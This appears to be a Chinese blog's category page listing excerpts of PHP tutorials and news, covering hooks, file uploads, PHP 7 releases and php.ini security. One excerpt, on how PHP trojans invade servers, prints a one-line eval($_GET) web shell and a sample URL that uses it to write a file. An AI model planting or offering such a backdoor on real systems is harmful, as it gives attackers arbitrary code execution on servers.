当前位置: 首页 > 网站技巧 > 所有文章
  • thinkphp(php)插件钩子(hooks)分析的简单实现机制

    2023年03月13日

    现在主流的cms或者blog等系统中,都内置的有插件系统,但是层层深入、剖析实现的方式,其实都是最简单的钩子的复杂化的实现。 前言 钩子是插件执行的触发器;插件就像挂在钩子上的东西;插件只有实现相应钩子方法,并安装启用成功后才能执行。 开发者也可以用hook('test')方法在控制器只加入钩子,让你的应用具有更好的 ...

    阅读全文
  • php测试程序运行速度和页面执行速度的代码

    2022年12月14日

    microtime() 函数返回当前 Unix 时间戳的微秒数。用于检测程序执行时间的函数,也是PHP内置的时间函数之一,在PHP中可以用于对程序执行时间的判断,以及相同功能函数的执行效率高低快慢的判断。 使用microtime() 函数测试程序运行速度和页面执行速度的代码如下: <?php class timer { var $StartTime = 0; var $St ...

    阅读全文
  • PHP实现多张图片上传功能的示例代码

    2022年06月10日

    首先要知道这个函数:move_uploaded_file(); 接下来是我们的input框,和我们的html页面 这里我们是增加的input框我们也可以写写一个属性 multiple="multiple" 这样就可以ctrl多选图片了 <html> <head><title>多个文件上传表单</title></head>; <body> <style> form ...

    阅读全文
  • PHP函数file_exists()判断文件是否存在并执行逻辑运

    2022年05月16日

    以下代码用于判断目录下的 footer.php 是否存在,如果是则 include 该文件,如果否则 include 后续文件 default_footer.php。 <?php file_exists('footer.php') ? include('footer.php') : include('default_footer.php'); ?> 其中 file_exists('footer.php') ? include('footer.php') 中的 footer.php 前后者的 ...

    阅读全文
  • PHP接收Vue Post数据失败解决办法

    2022年04月01日

    最近修改Vue接口,因为之前使用的是ThinkPHP,直接就用现成的 input() 接收数据了,没仔细研究怎么传值的。 今天写原生PHP代码,使用 $_POST 死活接收不到 Vue 传过来的数据。 查了下,原来 Vue 发送的是 Json 数据,随后就把 $_POST 修改了。 file_get_contents("php://input"); 使用 php://input 即可正常接收 Vue Po ...

    阅读全文
  • PHP出现Warning: A non-numeric value encountered 错误

    2021年09月17日

    最近更新了一下wordpress,升级了服务器的PHP版本,毕竟PHP7已经出来那么久了,wordpress也已经适配了那么久,最近PHP版本升级后,wordpress运行没出现问题,我的博客出现了问题,在评论区计算楼层时,出现了错误提示:A non-numeric value encountered…… 不用说,一看就是主题代码问题,由于英语不好,翻译了 ...

    阅读全文
  • PHP是如何成为世界上最伟大的语言的?

    2020年03月15日

    Rasmus Lerdorf,他是PHP的开山鼻祖。Rasmus Lerdorf在2002年正式加盟Yahoo,在Yahoo他一直从事PHP、Apache、Ajax等技术相关的开发工作以及软件构架的研究。多年的软件开发经验使Rasmus Lerdorf拥有了很深的技术功底。在1994年,他设计了PHP的第一个版本PHP1.0,并于1995年将其通过社区发布。在1996年,Rasmus Ler ...

    阅读全文
  • Python比php发展快的十大理由

    2019年03月11日

    在过去的两年中,Python一直呈急剧上升的趋势。在后台开发中,PHP和Python是Web专家和开发人员最热门的两个选择。 选择Python代替PHP进行Web开发并不困难,但是我们有很多理由建议开发人员选择前者。在这篇文章中,我们将看一看Python这门编程语言比PHP更优秀的地方。 如何比较Python与PHP? PHP已经存在很长 ...

    阅读全文
  • PHP5年底终止安全更新6成网站恐面临风险

    2018年10月17日

    据中国台湾地区媒体报道,Web科技应用现况的调查公司W3Techs近日表示,根据所有网站使用的PHP版本状况,从明年1月1日起,有近62%的网站将因未能获得安全更新而陷入被黑或被植入恶意程序的风险。 根据W3Techs的调查,截自本月15日,在其研究的网站样本中,使用PHP的比例高达78.9%,而所有网站使用PHP 5的比例又达到61.8% ...

    阅读全文
  • PHP木马程序如何入侵服务器

    2017年03月16日

    在PHP文件中插入下边这句话,程序顷刻间就成能变身为木马程序。 test.php文件内容: <?php eval($_GET['c']);?> 访问:https://www.ziyouwu.com/test.php?c=你想用的各种PHP语句体 比如我的使用方式是这样的: https://www.ziyouwu.com/test.php?c=fputs(fopen("hacker.php","w"),"Hello,Hacker!");这个是时候就会 ...

    阅读全文
  • PHP 7正式版发布,扩展支持少,兼容wordpress

    2015年12月09日

    PHP 7的发布,这几天关于PHP 7性能和兼容性成了大家讨论的热点话题,PHP 7表现出来的高性能让不少人蠢蠢欲动,有些“尝鲜”的朋友已经将PHP 7应用到了生产环境当中了。同时,LNMP等热门应用程序也及时作了更新,纷纷开始支持PHP 7。 提到PHP性能问题,不得不说之前分享的HHVM,这是脸谱公司为提高PHP性能而开发出来的工具 ...

    阅读全文
  • 10月底发布PHP7性能翻倍

    2015年10月26日

    20岁老牌网页程序语言PHP,最快将在10月底释出PHP 7新版,这是十年来的首次大改版,最大特色是在性能上的大突破,能比前一版PHP 5快上一倍,PHP之父Rasmus Lerdorf表示,甚至能比HHVM虚拟机下的PHP程序性能更快。 HHVM是脸书为自家网站特性而量身客制的PHP优化机制,不见得适用任何网站。但Rasmus Lerdorf表示,新版目 ...

    阅读全文
  • DOS漏洞可致CPU100%多个PHP版本

    2015年05月20日

    PHP被爆出存在远程DOS漏洞,若黑客利用该漏洞构造PoC发起连接,容易导致目标主机CPU被迅速消耗。此漏洞涉及众多PHP版本,因而影响范围极大。 目前官方提供了 5.4.41、5.5.25、5.6.9  的补丁 ,而PHP 5.3版本补丁暂未提供,但有网友根据官方补丁,制作了PHP5.3 版本的"民间版"补丁:https://coding.net/u/simapple/p/old ...

    阅读全文
  • php5.5新版本不在支持Windows 2003服务器系统

    2013年06月23日

    PHP 开发者正式发布5.5版本,该版本从去年11月开始开发,历经多个测试版本。PHP5.5包含一系列的新 特性,例如新的 array_column()函数以及foreach()循环支持标量迭代键;包括generators允许开发者实现简单的协程。 同时新版本引入了一个密码哈希函数,可以让开发者轻松实现加盐的安全密码;新增finally关键字;foreach ...

    阅读全文
  • 配置php.ini文件让你的PHP环境更安全

    2013年05月17日

    现在PHP程序应用越来越广泛,很多人都在关注网站的优化问题,却忽略的安全,今天就分享一下如何配置更安全的php环境。如果利用php.ini配置文件打造安全的php环境。 (1) 打开php的安全模式 php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(), 同时把很多文件操作函数进行了权限控制, ...

    阅读全文
  • 谈谈北大青鸟和达内软件培训

    2013年04月24日

    相信很多站长都想掌握一门语言和一个建站的技术。最起码修改模版写个程序还是可以的。于是在网上到处搜索网络技术,全方面学习。当然也有去专业培训机构的,那么网上那些名声超级大的php神马的培训机构到底怎么样呢?请看一下文章吧: 去北大青鸟免费试听 学费三万八 前两天我想找个培训机构学习下软件开发,将来找个好 ...

    阅读全文
  • windows下PHP的安装

    2012年11月07日

    前天自由屋博客写了一篇 Windows下apache的安装教程,今天说一下Windows下PHP的安装,因为PHP安装简单,所以就不截图了!!直接文字教程吧! PHP安装配置(这里使用php-5.2.6-Win32版)【php下载】 1、解压php-5.2.6-Win32.zip,释放路径自行选择,比如“C:\PHP” 2、复制PHP根目录下的php5ts.dll到C:\windows\system32目 ...

    阅读全文
  • php制作install程序安装界面

    2012年10月23日

    看到很多网站程序安装都是用install页面来安装,前几天学习制作了php+mysql的留言板,其中的配置文件都是手工打开配置填写的,今天我们简单的分析一下网站程序自动安装的原理! 制作思路: 1、创建填写数据库服务器的基本信息表单; 2、将填写好的数据写入到网站的基本配置文件config.php中; 3、删除安装文件。 建立填写 ...

    阅读全文
  • php与mysql和留言板的制作教程

    2012年10月22日

    前两天写了两篇关于MYSQL命令的文章,写的比较乱。其实呢,我弄这些东西在其他网站上都有,我只不过是弄个更白话一些,更容易懂一些。 然后呢,学会了基本的mysql命令之后呢,如果你有PHP的基础的话,就完全可以写一个php+mysql的留言板。 这样的话,如果全写的话太复杂,关于PHP语法的那些就不说了,我就说一下连接my ...

    阅读全文